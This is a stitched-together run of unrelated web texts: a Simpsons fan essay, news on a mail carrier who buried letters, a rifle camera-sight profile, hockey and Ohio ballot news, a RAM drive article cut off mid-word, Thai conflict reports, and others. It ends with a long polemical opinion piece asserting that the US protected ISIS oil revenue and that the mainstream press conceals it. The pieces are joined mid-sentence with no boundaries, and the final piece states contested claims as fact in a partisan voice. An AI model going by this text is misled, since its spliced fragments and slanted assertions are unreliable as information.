Throughout the entire run of the show Lisa has been an unpopular, awkward, social outcast. She rarely, if ever, is shown to have friends. Take, for example, the episode “Summer of 4 Ft. 2” in which the Simpsons stay at the Flanders’ beach house. Nobody’s signs Lisa’s yearbook at the school year’s end. Why? Because she is unpopular. Why? Because she is an overachiever who never missed class and apparently undertook the kind of disturbing task of timing how long people used the restroom. She desperately tries to change herself at the beach house where nobody knows her. She succeeds to some degree, despite Bart’s attempt to sabotage her (which he later regrets, again flying in the face of the later Bart), and we all feel good for her after she, and her friends, accept her for who she is. The point of this episode, as well as the point of Moby Dick, is be yourself.
Lisa, the liberal, the Buddhist who seems kosher with most religions (including Wiccans), the vegetarian who learned a valuable lesson about not forcing your opinions on others from Paul and Linda McCartney, suddenly is dismissing all television writers as losers? I could see her pointing out to Bart that his new hero’s life isn’t all that impressive, but to do it in the way she did it just didn’t ring true with me. As such, it was really quite annoying. Needless to say, I did not like that episode.
There are many other examples. Whenever they try and give Moe a semblance of a heart or a conscience despite so much evidence to the contrary never works for me. Homer being virulently homophobic in one episode (though he admittedly becomes more tolerant late in the episode), then living with two gay men and suddenly become more effete (for the lack of a better term) in a later episode, and then in an episode after that holding up a sign saying “Death Before Gay Marriage” in a protest, before quickly discarding it and becoming a minister to perform gay marriages. However, these are all example of character traits that have been suddenly adopted and discarded at the whim of various writers. The very history of these characters has been messed with as well. I speak, of course, of the dreaded retcon episode.Investigators: Disgraced mailman caught burying thousands of letters
Caught burning mail he was supposed to deliver in 2010, Richard Farrell put himself forward as a changed man.
Farrell’s attorney described the Hood Canal contract mail carrier as “genuinely remorseful” and ready to get “his life back on track.”
For burning or stealing thousands of letters, Farrell, now 47, was sentenced to 120 hours of community service and three years on probation. His probation was cut short late last year after authorities determined he didn’t need government supervision any longer.
Now, though, investigators contend they missed the bulk of Farrell’s thefts while examining his Belfair property in 2010. According to court papers, thousands of letters previously missed by investigators were found buried on his property during a recent search.
Agents with the U.S. Postal Service Inspector General’s Office searched Farrell’s home on March 15 and seized 159 postal tubs filled with letters, according to recently unsealed court documents. While an exact count isn’t offered, Farrell previously packed about 220 letters into each tub found at his property; if he remained true to form, investigators may have recovered more than 35,000 letters and packages.
Farrell, who was fired from the Postal Service after the 2010 thefts were discovered, has not yet been charged with any additional thefts. Investigators writing the court for permission to search his home suggest Farrell stole the mail prior to being fired, and has held onto since.
Previously faulted by prosecutors for “extreme laziness,” Farrell went to work for the Postal Service in 1991 as a contract mail delivery driver, a role he continued until his misconduct came to light in 2010.
The investigation was launched after other employees found a load of letters Farrell was to deliver dumped in a recycling bin. Investigators followed Farrell on a route, watching as he spent his day at a tavern before taking the mail to his home and burning it in a fire pit. A search of Farrell's residence at the time uncovered nearly 8,000 letters.
Farrell, it turned out, had no malicious reason for keeping the mail. He just didn't feel like doing the work he was paid for.
"His conduct reflects extreme laziness and a complete lack of consideration for the customers that he serviced," Assistant U.S. Attorney Thomas Woods told the court then. "Farrell repeatedly made the decision that he would rather spend his work hours not working, covering up his crime by stoking a fire pit with the very mail that he was supposed to be delivering."
Writing the court in 2011, Farrell's attorney noted his client, who'd subsisted for 19 years working for the government, also had fallen far, far behind in his taxes and lost interest in work. Coincidentally, Farrell had hung on to tax-related mail meant for 412 other people.
Initially sentenced to probation, that oversight was removed in October after Farrell’s federal probation officer told the court Farrell no longer needed to be watched.
According to a recently unsealed search warrant affidavit, Postal Service investigators aren’t quite done with Farrell.
On March 12, a Postal Service employee living with Farrell told the Fox Island Post Office postmaster she had seen Farrell and two other people burying mail in a five-foot by 30-foot trench, a Postal Service agent told the court. The woman’s report was forwarded to investigators, who interviewed her two days later.
The woman told investigators one of Farrell’s associates used a backhoe to dig the trench, which the men then filled with mail Farrell had been storing in sheds on the property, the agent said in the search warrant affidavit. The men then covered the hole with dirt.
According to the agent’s affidavit, the woman said she confronted Farrell about the buried mail. Farrell purportedly told her he was getting rid of five-years worth of mail, and to keep quiet about it.
The agent noted the sheds on Farrell’s property – where he is now alleged to have hidden thousands of letters – were not searched in 2010.
The woman called investigators at 6:30 a.m. the day after she was interviewed to say she told Farrell she had gone to authorities. Agents searched the property the hours later after obtaining a search warrant.
Agents recovered 117 empty postal tubs from the property, as well as the 159 filled tubs, according to court papers. Farrell does not appear to have been arrested in the matter.Today's featured Invention Award winner is SmartSight, a gun-cam system that lets soldiers see around corners and shoot targets without entering the line of fire.
The Rolling Green hills of Sonora, California, no longer lure prospectors with the promise of gold, but for Matthew Hagerty the draw is just as powerful: They're a secluded hideaway ideal for perfecting his military invention, called SmartSight. Ten years in the making, SmartSight is a gun-cam system that allows a soldier to see around corners and shoot targets without putting himself in the line of fire.
It consists of a wireless video camera mounted to the rail of an M4 or.308 SOCOM carbine, a small computer worn on a military vest, and a thumbnail-size color head-up display affixed to a pair of protective glasses. In effect, SmartSight turns the muzzle of an assault rifle into a third eye—a soldier can crouch behind a blockade, stick his weapon over his head, and shoot his target with the same accuracy as if he were taking aim normally. "No other weapons sight can do that," Hagerty says. "What you see is what you get."
Invention: SmartSight
Inventor: Matthew Hagerty
Cost: $7 million
Time: 10 years
Is It Ready Yet? **1 2 3 4 5
While working as a weapons tester for defense contractor Hughes Aircraft in the 1990s, Hagerty sought the advice of many soldiers and learned exactly what they did and didn't want in a weapon. When the company began developing a video rifle sight for an Army program called Land Warrior, he knew right away that it was too heavy, that the wire running from the camera to the soldier would limit mobility, and that the video feed lagged. Hughes was set on the design, though, so when Hagerty later left the company, he decided to develop his own system, perfectly tailored to the soldier.KENNEWICK, WA – Tri-City Americans Governor/General Manager Bob Tory announced today the Vancouver Canucks have reassigned forward Mackenze Stewart to the Tri-City Americans for the remainder of the 2015-16 season.
“We had the opportunity to acquire a signed pro,” Tory said. “Mackenze is a hard-nosed player who will bring tremendous leadership to our roster. We look forward to him joining our team for the second half of the season.”
Stewart, a native of Calgary, AB, was a seventh round pick (186th overall) by Vancouver in the 2014 NHL Draft. Stewart will make his debut Tuesday, Dec. 29, against the Portland Winterhawks.
The Americans are back in the Toyota Center this Tuesday, Dec. 29 against the Portland Winterhawks. Contact the Americans office at (509) 736-0606, visit AmsHockey.com or drop by the Americans offices’ at the bottom level of the Toyota Center for more information and to get your tickets today!
Mackenze Stewart StatisticsFormer labor secretary Robert Reich was rendered speechless when Jeffrey Lord, a Trump surrogate, argued that President-elect Donald Trump should be allowed to get away with any unethical conflicts of interest because he won the presidential election.
"This is total disdain for the democratic institutions of government and total disdain for public trust," Reich said on CNN's AC360 on Thursday about Trump's plan to give his sons greater control over his business empire. "The idea that he’s not going to talk to his sons is clearly and patently absurd."
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Lord replied by arguing that, because Trump won the election, there was no point in discussing these concerns.
"This has been litigated," Lord said. "All these things were out there for the American public to see. They could have rejected Donald Trump. They did not. So, that’s been decided by the American people. It’s over."
Reich seemed aghast. "This is a crazy set of arguments,” Reich replied. "Donald Trump came into government saying that he was going to drain the swamp. One of the reasons he was elected is so many are concerned about all this money in politics. All this money in Washington. That was the whole — this anti-establishment fervor that said effectively we don’t want the status quo, we don’t want politics as usual, we don’t want big money in politics, that was what he was elected for."
After Lord replied that Trump's "drain the swamp" refrain was directed at Washington's culture, Reich asked how the president-elect could be so certain that the public doesn't care about his ethical issues.
"Because he’s the president-elect of the United States, that’s how," Lord replied. When Reich continued to insist that integrity matters, Lord dismissively insisted that "the American people made their decision. It’s over. Get on with it."
This isn't the first time that Trump and his surrogates have attempted to dismiss the president-elect's numerous conflicts of interest. Prominent Republicans, from former House Speaker Newt Gingrich to House Majority Leader Kevin McCarthy to House Oversight and Government Reform Committee chairman Jason Chaffetz, have all tried to whitewash Trump's continued involvement in his business empire, which would allow him to personally profit from the policies he pursues as president.
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Trump himself has insisted that "the president can't have a conflict of interest," although The Washington Post's Fact Checker has argued that this is an oversimplification of existing law.This article is about virtual drives emulated with software. For hardware storage devices using RAM, see solid-state drive. For filesystems without drive emulation, see tmpfs
A RAM drive (also called a RAM disk) is a block of random-access memory (primary storage or volatile memory) that a computer's software is treating as if the memory were a disk drive (secondary storage). It is sometimes referred to as a virtual RAM drive or software RAM drive to distinguish it from a hardware RAM drive that uses separate hardware containing RAM, which is a type of battery-backed solid-state drive.
Performance [ edit ]
The performance of a RAM drive is in general orders of magnitude faster than other forms of storage media, such as an SSD, hard drive, tape drive, or optical drive.[1] This performance gain is due to multiple factors, including access time, maximum throughput, and type of file system.
File access time is greatly reduced since a RAM drive is solid state (no mechanical parts). A physical hard drive or optical media, such as CD-ROM, DVD, and Blu-ray must move a head or optical eye into position and tape drives must wind or rewind to a particular position on the media before reading or writing can occur. RAM drives can access data with only the memory address of a given file, with no movement, alignment or positioning necessary.
Second, the maximum throughput of a RAM drive is limited by the speed of the RAM, the data bus, and the CPU of the computer. Other forms of storage media are further limited by the speed of the storage bus, such as IDE (PATA), SATA, USB or Firewire. Compounding this limitation is the speed of the actual mechanics of the drive motors, heads, or eyes.
Third, the file system in use, such as NTFS, HFS, UFS, ext2, etc., uses extra accesses, reads and writes to the drive, which although small, can add up quickly, especially in the event of many small files vs. few larger files (temporary internet folders, web caches, etc.).
Because the storage is in RAM, it is volatile memory, which means it will be lost in the event of power loss, whether intentional (computer reboot or shutdown) or accidental (power failure or system crash). This is, in general, a weakness (the data must periodically be backed up to a persistent-storage medium to avoid loss), but is sometimes desirable: for example, when working with a decrypted copy of an encrypted file.
In many cases, the data stored on the RAM drive is created from data permanently stored elsewhere, for faster access, and is re-created on the RAM drive when the system reboots.
Apart from the risk of data loss, the major limitation of RAM drives is their limited capacity, which is constrained by the amount of RAM within the machine. Multi-terabyte-capacity persistent storage has become commoditized as of 2012, whereas RAM is still measured in gigabytes.
RAM drives use the normal RAM in main memory as if it were a partition on a hard drive rather than actually accessing the data bus normally used for secondary storage. Though RAM drives can often be supported directly from the operating system via special mechanisms in the operating system kernel, it is possible to also create and manage a RAM drive by an application. Usually no battery backup is needed due to the temporary nature of the information stored in the RAM drive, but an uninterrupted power supply can keep the entire system running during a power outage, if necessary.
Some RAM drives use a compressed file system such as cramfs to allow compressed data to be accessed on the fly, without decompressing it first. This is convenient because RAM drives are often small due to the higher price per byte than conventional hard drive storage.
History and operating system specifics [ edit ]
The first software RAM drive for microcomputers was invented and written by Jerry Karlin in the UK in 1979/80. The software, known as the Silicon Disk System was further developed into a commercial product and marketed by JK Systems Research which became Microcosm Research Ltd when the company was joined by Peter Cheesewright of Microcosm Ltd. The idea was to enable the early microcomputers to use more RAM than the CPU could directly address. Making bank-switched RAM behave like a disk drive was much faster than the disk drives - especially in those days before hard drives were readily available on such machines.
The Silicon Disk was launched in 1980, initially for the CP/M operating system and later for MS-DOS. Due to the limitations in memory addressing on Apple II series and Commodore computers, a RAM drive was also a popular application on Commodore 64 and Commodore 128 systems with RAM Expansion Units and on Apple II series computers with more than 64kB of RAM. Apple Computer supported a software RAM drive natively in ProDOS: on systems with 128kB or more of RAM, ProDOS would automatically allocate a RAM drive named /RAM.
IBM added a RAM drive named VDISK.SYS to PC DOS (version 3.0) in August 1984, which was the first DOS component to use extended memory. VDISK.SYS was not available in Microsoft's MS-DOS as it, unlike most components of early versions of PC DOS, was written by IBM. Microsoft included the similar program RAMDRIVE.SYS in MS-DOS 3.2 (released in 1986), which could also use expanded memory.[2] It was discontinued in Windows 7. DR-D |
activity.
"Blue indicates where events occurred back on Feb. 18th which was at the start of this event," said Schmidt. "All of these dots represent a very small tremor source down on the megathrust, down there at 30 kilometers depth."
It's called a slow slip event. You don't feel any shaking, according to Schmidt. But he says the clusters of dots on the map add up.
"The onset event probably doesn't signal that a magnitude 9 or a bigger earthquake is about to happen. What it does signal is that we are giving the megathrust a little nudge," said Schmidt.
State Seismologist John Vidale described it as just a little more pressure pushing at the fault.
"It is loading up the fault that will eventually have the magnitude 9 up here, but it is just loading it a little bit," said Vidale.
The slow slip events usually happen every 14 months or so, according to Schmidt.
"People should not be worried about it," said Schmidt. "I think it is an exciting event that occurs regularly in our region."
Schmidt said at Pacific Northwest Seismic Network, they are paying close attention to the small tremors, hoping to learn from the activity happening right now.
Copyright 2017 KINGThe film thoroughly captures these polarities, dichotomies and juxtapositions with such artful direction it reminded me of Forest Gump. Except this is real life and the direction is the honest heart of a man spilling his life in front of us. The film was created from video clips that Steve created in order to make sure his unborn son still had a father in his life despite Gleason's struggles with ALS. Gleason is also the story of a very strong Mother and Wife who also shows us what a true fight really is. To quote Michel Varisco Gleason on the whole situation that was turned into the documentary "This is a mindfuck"
That may sound comical to a degree but how else can you describe this. It is this honesty that Hollywood can only dream to capture. It is this honesty that makes this documentary so powerful. This is REAL life not a movie and you will cry.
Yes I admit I cried, I cried when Steve goes to a faith healer on advice of his father. This really hit home and my heart because my mother once took my little brother who has Cerebral Palsy to a faith healer. I cried because my brother sincerely asked my Mom at that point if this would make him walk. This same emotion of anger towards the world, disbelief in goodness, disbelief in an aspect of GOD, a place of darkness and sadness that I felt at that moment is what I saw in Michel Varisco Gleason's eyes in that scene and I cried. The faith healer did not help Steve and did not help my brother but both Steve and My brother have more faith and healing hearts than the world could understand. People like Steve is what we understand as Faith, People like Steve Gleason is what the concept of Christ is based on.In addition to the southern unrest, the Thai military now faces a low-intensity war on the Cambodian border [Reuters]
Police in Thailand say twin bomb attacks have killed two paramilitary soldiers and wounded nine others in the country's south.
Kritsanapong Paetsit, a police spokesperson, said on Saturday that a group of at least five fighters set off a roadside bomb that hurled a military vehicle off the road in Yala province.
The blast wounded four rangers who were on patrol, sparking an exchange of gunfire that lasted for 10 minutes.
A second bomb exploded about 1.5km away from the first attack, killing two rangers and wounding five. The incident happened in Yala's Raman district, Paetsit said.
The attacks coincided with a visit by Abhisit Vejjajiva, the Thai prime minister, to the nearby province of Narathiwat to chair a meeting on development strategy for the southern provinces.
More than 4,200 people have been killed in Thailand's three Muslim-dominated provinces since an uprising erupted there in 2004.
The number of attacks has increased in recent months in what security analysts say could be a response to government claims that its public-relations campaigns were helping to contain the unrest.
Border clashes
Separately, along the country's disputed eastern border, Thai and Cambodian troops exchanged fire for a ninth straight day, both sides said, casting doubt on efforts to end the countries' bloodiest conflict in decades.
Saturday's skirmishes at two ancient temples on their shared jungle frontier erupted just hours after Cambodia announced a second truce in as many days, although Thailand denied knowledge of a new peace deal.
Each side has traded accusations of untrustworthiness in solving a dispute that has killed 16 people and displaced more than 85,000 civilians.
"Even though there is a recent ceasefire... Thailand still breached it," Hor Namhong, Cambodia's foreign minister said in Phnom Penh on Saturday.
"It shows that we cannot trust our counterpart."
Hor's comments echoes those made by Thai officials a day earlier.
There were no reports of new deaths, although at least 10 Thai soldiers were injured in clashes on Friday night and Saturday morning, army sources in Thailand said.IBEW Built That: RNC (and DNC) Brought to You by Union Labor September 5, 2012 The Republican Party, which is held its national convention in Tampa, Fla., last week, may not have many good things to say about unions, but when it came to making sure the party’s convention went off without a hitch, convention planners ditched the politics and went IBEW.
Millions of viewers tuned into the convention’s proceedings, with the event broadcasted on more than 100 networks around the world. And it was IBEW electricians, working around the clock to install 40 miles of cable that allows live video coverage to reach the world, who made it all possible. Says Tampa Local 915 Business Manager William Dever: It’s a no-brainer to me. The Republicans couldn’t afford to waste time or money, and if you want the job done on time and under budget, IBEW electricians are the way to go. Transforming the Tampa Bay Times Forum, normally home to the Tampa Bay Lightning hockey team, into the host of a major political convention was a tough job, but IBEW electricians got the job done right and in time for the opening gavel. And their job wasn’t over after the event began. Local 915 members were back in full force after the convention closed last Friday to break everything down in time for the Lightning’s first pre-season game on Sept. 26. Not only did IBEW Local 915 members get the arena ready for the RNC, they helped build it. The $160 million complex was completed in 1996 with an IBEW work force. And last year, the IBEW worked on a $40 million renovation project, installing two giant Tesla coils that zap 25-foot lightning bolts high above the ice. For presumptive GOP nominee Mitt Romney, the RNC isn’t the first time the former Massachusetts governor has relied on skilled IBEW labor to get the big jobs done. As president of the 2002 Winter Games in Salt Lake City, Romney employed members of Locals 57 and 354 to wire the 500-foot-mega-wattage Olympic Rings that overlooked the city. He even thanked the IBEW for all their hard work: More than 50 Charlotte, N.C., Local 379 members are also working to power up the Democratic National Convention taking place in North Carolina this week. Says International President Edwin D. Hill: One of the themes of the Republican convention is ‘We Built it.” Well I take pride in knowing that as Americans watch the proceedings of both major political conventions; this union can say ‘We Built That.’ Photo used under a Creative Commons License from Flickr user Photomatt28.Michael Jordan I'm Building a $12.4 Million Cigar-Smoking PARADISE
Michael Jordan -- I'm Building a $12.4 Million Cigar-Smoking MANSION
Consider the world record for "largest humidor ever" broken --'s $12.4 MILLION Jupiter, FL palace is juuust about ready to move in to... and it features an insane cigar-friendly home theater.His Airness -- rarely seen these days without a tightly-rolled Cuban between his teeth -- has been building the 28,000 square foot estate for the past three years, complete with a giant state-of-the-art home theater... outfitted with special equipment made to handle mass amounts of cigar smoke.The 3-acre, 11-bedroom compound is being built in the middle of an ultra-exclusive golf course community called the Jack Nicklaus' Bear Club... where Tiger Woods also lives.It's unclear where Jordan plans to display his 5 MVP trophies and 6 NBA Championship rings... but between the main house, the pool house, the guest house, and the 2-story guard house... he's got plenty of choices.FYI -- There's also a ridiculous athletic facility... complete with b-ball court, naturally.COLUMBUS, Ohio -- The short description of the marijuana legalization amendment Ohioans will read on their ballots this fall contains a word supporters would rather they not see: Monopoly.
Ohio Secretary of State Jon Husted sets the numbers and titles for statewide issues that appear on every ballot, according to state law.
On Tuesday Husted announced the title, or short description, for Issue 3 will read: "Grants a monopoly for the commercial production and sale of marijuana for recreational and medicinal purposes"
The "monopoly" description is no surprise, considering Husted opened last week's ballot board meeting by declaring it "Monopoly Day in Ohio." But ResponsibleOhio, the political action committee backing the effort, has objected to the term.
Issue 3 would detail 10 specific sites where commercial marijuana can be grown. Those sites are owned by investors bankrolling the initiative campaign.
ResponsibleOhio officials say the term "monopoly" is incorrect because other business opportunities in the supply chain, such as manufacturing marijuana products or owning marijuana retail stores, are available to non-investors. Also, the amendment allows a newly created Marijuana Control Commission to revoke licenses or add an 11th site after four years to meet market demands.
The group opposing Issue 3 has capitalized on this, calling themselves Ohioans Against Marijuana Monopolies.
ResponsibleOhio Executive Director Ian James called the title "absurd" and said it was written to intentionally mislead and confuse voters.
"This egregious conduct of an elected official demonstrates a continuing abuse of partisan power and is incredibly disappointing for those of us who want encourage Ohioans to engage in the democratic process," James said in a statement. "Ballot issue titles and language are meant to be a neutral, fair representation of each proposal. Utilizing taxpayer dollars to lead such a blatant attack, in an effort to confuse voters, is utterly shameful."
James said the issue titles will be part of its Ohio Supreme Court appeal over the amendment summary approved by Husted and the rest of the bipartisan Ballot Board last week. ResponsibleOhio attorneys said that language was politically charged and inaccurate, taking issue with sections referring to how much marijuana someone could possess and restrictions on where marijuana facilities could be located.
The word "monopoly" will also appear in the title of a competing constitutional amendment. Issue 2 is the legislature's attempt to block ResponsibleOhio's plan and prohibit monopolies, oligopolies, and cartels from being written into the Ohio Constitution.
Issue 2 has informally been referred to as the "anti-monopoly amendment." Husted used that and added "protects the initiative process from being used for personal economic benefit" in his title.
Issue 1 is a legislature-sponsored amendment to change how Ohio draws Statehouse districts. Husted, who supports the issue, chose the following title: "Creates a bipartisan, public process for drawing legislative districts."Requests U.S. Assistance to Bomb Them; U.S. Again Says No.
How the Public Get Suckered by ‘News’ Media Ignoring Reality
Eric Zuesse, originally posted at strategic-culture.org
According to Russian Television on December 25th, Russian intelligence has counted “up to 12,000” tanker trucks filled with oil “on the Turkish-Iraqi border,” and “the final destination remains to be Turkey.” In addition, some of those trucks are still heading into Turkey from Syria, but their number is “decreased” because Russia’s Syrian bombing campaign, which started on September 30th, has, ever since they began bombing the oil trucks on November 18th, destroyed “up to 2,000” of those trucks, that were in Syria heading into Turkey.
According to the news report, Russia is requesting help from the U.S. coalition to bomb the “up to 12,000” trucks that are in Iraq carrying ISIS oil into Turkey. ISIS drives them there so that ISIS can become self-sustaining by the oil-sales. ISIS, which had long been supported by America’s allies the Arab oil potentates — all of whom are fundamentalist Sunnis — aims to be self-sustaining now on the sales of this stolen oil through Turkey, which is operating the black market in ISIS’s stolen oil. That’s why Russia wants to stamp out this market. “However, so far, Washington says that it is not ready for such a move,” the report says.
Whereas Russia had begun on November 18th to bomb those trucks en-route into Turkey, and eliminated around 500 of them at that time, the U.S. coalition hadn’t bombed any such trucks until later that day, November 18th, in order to pretend to be competitive with what Russia had been doing since it started on 30 September 2015, to bomb in Syria. Before the U.S. bombed the 116 trucks it destroyed, it warned the drivers 45 minutes in advance.
Here was the shocking admission that was made by the U.S. Defense Department’s press-spokesman at his 18 November 2015 presentation, in which he voluntarily acknowledged that, throughout all of the 14 months during which the U.S. had been bombing in Syria and in Iraq, the U.S. hadn’t previously destroyed any of the tens of thousands of oil tank-trucks that had been transporting ISIS’s stolen oil out from Iraq and from Syria — the stolen-oil sales that bring $2B per year into ISIS coffers — and that the U.S. had warned 45-minutes in advance:
This is our first strike against tanker trucks, and to minimize risks to civilians, we conducted a leaflet drop prior to the strike. We did a show of force, by — we had aircraft essentially buzz the trucks at low altitude.
So, I do have copy of the leaflet, and I have got some videos, so why don’t you pull the leaflet up. Let me take a look at it so I can talk about it.
As you can see, it’s a fairly simple leaflet, it says, “Get out of your trucks now, and run away from them.” A very simple message.
And then, also, “Warning: airstrikes are coming. Oil trucks will be destroyed. Get away from your oil trucks immediately. Do not risk your life.”
And so, these are the leaflets that we dropped — about 45 minutes before the airstrikes actually began. Again, we combine these leaflet drops with very low altitude passes of some of our attack aviation, which sends a very powerful message.
So: not only had the U.S. previously avoided destroying ISIS’s main current source of income (besides the multimillion-dollar donations made by members of the royal families of Saudi Arabia, Qatar, UAE, and Kuwait — all of whom are protected by the U.S.) (and Secretary of State Hillary Clinton had urged all of them on 30 December 2009 please to stop funding their terrorists), but, when the U.S. now started to bomb those tank-trucks filled with stolen oil, the U.S. warned in advance the drivers, who were also assets to the jihadist cause the U.S. pretended to oppose, and thus were enemies of the public (and were participants in the evils of ISIS). The U.S. Department of Defense (DOD) wanted to protect them — not to kill them. That was done “to minimize risks to civilians.” Wow!! After the U.S. history of slaughtering millions of civilians in wars, and torturing many, including complete innocents in Iraq and elsewhere, we’re now protecting ISIS’s drivers? Can any hypocrisy exceed this? If the United States were a democracy, its press would have been focusing on this issue for a week. The U.S. protecting ISIS’s financial base, and assets, has mind-boggling implications. On what side are ‘we’ — and who are “we,” and who are “them”? We are not the aristocracy. The aristocracy are them. It includes the top stockholders in firms such as Lockheed Martin. Warren Buffett said in 2006 “There’s class warfare, all right, but it’s my class, the rich class, that’s making war, and we’re winning.” That’s shocking honesty.
Did any of the major U.S. news media, all of which have reporters attending those press conferences, report the U.S. Government’s open admission there, that the U.S. Government had protected ISIS all along, not bombed any of ISIS’s oil tank-trucks (until Russia did)? Those trucks providing $2B per year to ISIS terrorists? None of them reported it. None of them conveyed to their audience this astounding information — essentially, that the U.S. was protecting the money-flow to the jihadists in Syria, and was even protecting their truckers, and its ‘press’ were protecting them.
Another major revelation at this same press conference was that “we right now have no plans to conduct coordinated operations with the Russians” in Syria. And this was reconfirmed on December 25th from the Russian side, as being still the U.S. policy. In other words: the U.S. President is so hostile toward Russia, that, even months after Russia’s request to Washington on September 30th to cooperate in killing all jihadists in Syria, Obama still refuses to work together with Russia, or even just to “coordinate operations with the Russians,” to kill the jihadists. (And, in the Democratic debate on 19 December 2015, Hillary Clinton insisted that eliminating the jihadists in Syria mustn’t have higher priority than, nor occur before, Bashar al-Assad is permanently removed from Syria’s leadership. Her position is at least as anti-Russian as Obama’s.)
The jihadists had flocked into Syria to oust the non-sectarian leader of that country, Assad, and to replace him with an Islamist leader, a Sharia-law Sunni, whom the U.S. Government, and the royal families of Saudi Arabia, Qatar, UAE, and Kuwait, approve of as being better than the non-sectarian Assad (who is personally a Shiite, but runs a decidedly unsectarian, secular, government). The jihadists work for the American alliance.
Russia’s position on the matter is that no foreign power possesses the right to determine whom the President of Syria will or won’t be; only the Syrian people do, in an election. Russia insists that it be determined in internationally monitored and overseen elections. However, polls taken by Western polling firms indicate that Assad would overwhelmingly win any such election; so, U.S. President Barack Obama has rejected democracy for Syria. And yet, the U.S. accuses Putin of being dictatorial, and claims itself to be ‘democratic.’ And the U.S. President demands that Syria’s legal President be removed from power and excluded from any possibility of ever again becoming that nation’s President. This is America’s version of ‘democracy’ in Syria.
The DOD spokesperson, Steve Warren, spoke contemptuously of Russia. He said that in Russia’s war against jihadists in Syria, “the Russians are using dumb bombs. Their history has been both reckless and irresponsible.” This statement was being made by a military spokesman for the same Government that in the most “reckless and irresponsible” manner had invaded and destroyed Iraq in 2003. However, his statement here was also, itself, simply false. Russia’s bombings have been with both precision-guided weapons and unguided munitions that are under no control after being fired.
Warren there was reaffirming a reporter’s question which had asserted: “Getting back to Raqqa, as we all know, the Russians are not using precision munitions. Any sense of any increased civilian casualties in Raqqa as a result of that?” So, Warren was here reaffirming a reporter’s (or actually, a press-appointed government stenographer’s) falsehood — reaffirming an assertion that was either unprofessionally ignorant, or else a knowing lie. On September 30th, when Russia had started its air strikes, the U.S. had said that they were “doomed to failure.” That, too, seems increasingly likely to have been false (that it was “doomed to failure”). (And any such pretended foresight is also a lie when it comes from an official source such as a government. It was mere propaganda.)
Instead of the mainstream U.S. press reporting that the U.S. Government lied there (and this Government does it routinely, because the ‘press’ never report that a lie by the President is a lie), only a small number of only non-mainstream sites, all online-only, picked up anything from this stunning press conference, regarding any of the important and much-discussed issues that it addressed; and the first such site to do so was a fundamentalist Christian one, which is obsessively pro-Israel, and generally hard-rightwing Republican. Bridget Johnson at PJ Media headlined, on the same day as the press conference (the only site to report at all upon it that day, November 18th), “ISIS Oil Tankers Hit for First Time – With 45-Minute Warning.” This was an admirable reporting coup (though it wasn’t really “for First Time,” since Russian bombers had already done it), because it covered all of the main points, including the shocking admissions by Mr. Warren. Her news coup had over 1,400 reader-comments.
Paul Joseph Watson, at the generally conservative Republican site InfoWars, bannered on November 23rd, “WHITE HOUSE GAVE ISIS 45 MINUTE WARNING BEFORE BOMBING OIL TANKERS,” and he placed these matters honestly into their geostrategic context, of the Obama Administration’s placing a higher priority upon defeating Russia than defeating jihadism. As is so often the case with the terrific journalist Watson, he penetrated deeply into these matters, and was not at all shy to acknowledge, for example, the following stark contrast, which U.S. ‘news’ media hide:
Compare the Obama White House’s approach to fighting ISIS to that of Russia.
While it took the U.S. fifteen months to even begin targeting ISIS’ oil refineries and tankers, air strikes by Moscow destroyed more than 1,000 tankers in a period of just five days.
In comparison, Col. Steve Warren said that the U.S. had taken out only 116 tanker trucks, the “first strike” to target ISIS’ lucrative black market oil business, which funds over 50 per cent of the terror group’s activities.
So: this, too, like Bridget Johnson’s report, was honest and first-rate news-reporting, from another non-mainstream Republican site. (Note, however, that the mainstream Republican news-sites, such as Fox News, Wall Street Journal, and Rush Limbaugh, were no more forthcoming on this matter than all of the Democratic Party sites were.)
The aristocracy’s control over all the mainstream ‘news’ is ironclad — and this includes the political magazines, such as National Review, and The Nation; as well as ‘intellectual’ magazines, such as Harpers and The Atlantic. American ‘news’ media stifle democracy in America; they’re not part of democracy, in America. They’re like poison that’s presented as being ‘medicine’ instead. Suckers don’t just swallow it; they come back for more of that propaganda.
The next day, November 23rd, “Tyler Durden,” the pseudonymous genius behind his own Zero Hedge blog, headlined “‘Get Out Of Your Trucks And Run Away’: US Gives ISIS 45 Minute Warning On Oil Tanker Strikes,” and he reported using some of the same sources as the others, but supplementing it with additional good sources. He had around 400 reader-comments.
In addition, there were some trashy news-reports at far-right Republican sites, such as one, on November 19th, crediting Bridget Johnson’s news report the day before as its source, “The Obamization of the military, pt. 243.” This was by J.R. Dunn, at the fundamentalist Republican, American Thinker, blog. He pretended that Obama was being bad here because Obama was too concerned to avoid bloodshed: “You see, the important thing isn’t hurting ISIS. No – the important thing is not hurting civilians.” Picking up from the standard Republican meme that torture should be used against ‘bad people’ in order for ‘good people’ to be kept safe, and that civilians in ‘enemy’ nations are okay to be victims of American military attacks, Dunn took Bridget Johnson’s news-report merely as confirmation of his own bigotries and hatreds. He had about 150 reader-comments. Typical was this one: “The Left in America has known that in order to succeed with their agenda the US military had to be infiltrated, compromised, and weakened.” For such suckers, the ‘source’ of America’s problems wasn’t America’s aristocracy; it was America’s Democrats.
On November 24th, Michael Morell, Obama’s CIA Director during 2011-2013, said on the trashy PBS Charlie Rose show (hosted by Mr. Rose, who is such an incompetent interviewer that he’s beloved by aristocrats for his reliably softball interviews), “We didn’t go after oil wells, actually hitting oil wells that ISIS controls, because we didn’t want to do environmental damage, and we didn’t want to destroy that infrastructure.” Of course, Mr. Rose avoided drilling down there to find out why the U.S. Government treats jihadists as being such a minor matter — especially after all of the environmental damage the U.S. routinely does in its invasions, such as the depleted uranium that contaminates today’s Iraq, from the U.S. attacks. And, of course, almost all of the news-media that picked up on that stunning admission from Obama’s former CIA Director, were Republican sites, such as Daily Caller, Washington Times, Breitbart, Real Clear Politics, and American Thinker. In addition, there were a few high quality journalistic sites reporting it, such as Zero Hedge, The Hill, The Economic Collapse, and Moon of Alabama. In other words: only very few Americans came to know about this jaw-dropping stunning admission from an Obama official — and most who did were people who hate Obama for his being such things as ‘against torture’ (in other words: Republican stooges of the aristocracy).
Basically, in America, only marginal, and mainly right-wing, audiences were being informed even badly, regarding the sensational things that were revealed — and in some instances proudly revealed — at the November 18th DOD press conference, and also in the November 24th TV interview of Morell. What is traditionally viewed as being America’s “news media” were entirely absent from their job of reporting even one of these two important statements by U.S. Government officials. And none of the news-reports on that astounding DOD press conference, and of that Morell interview, reached Democratic Party voters at all. Republicans hate Obama because he’s a communist Islamic Kenyan, while Democrats love Obama because the wacko Republican Party lies about him constantly and because Obama is to the left of those blithering wackos.
A press like this makes it impossible for there to be intelligent, informed, rather than misinformed and/or stupid, voting in national political elections in the United States.
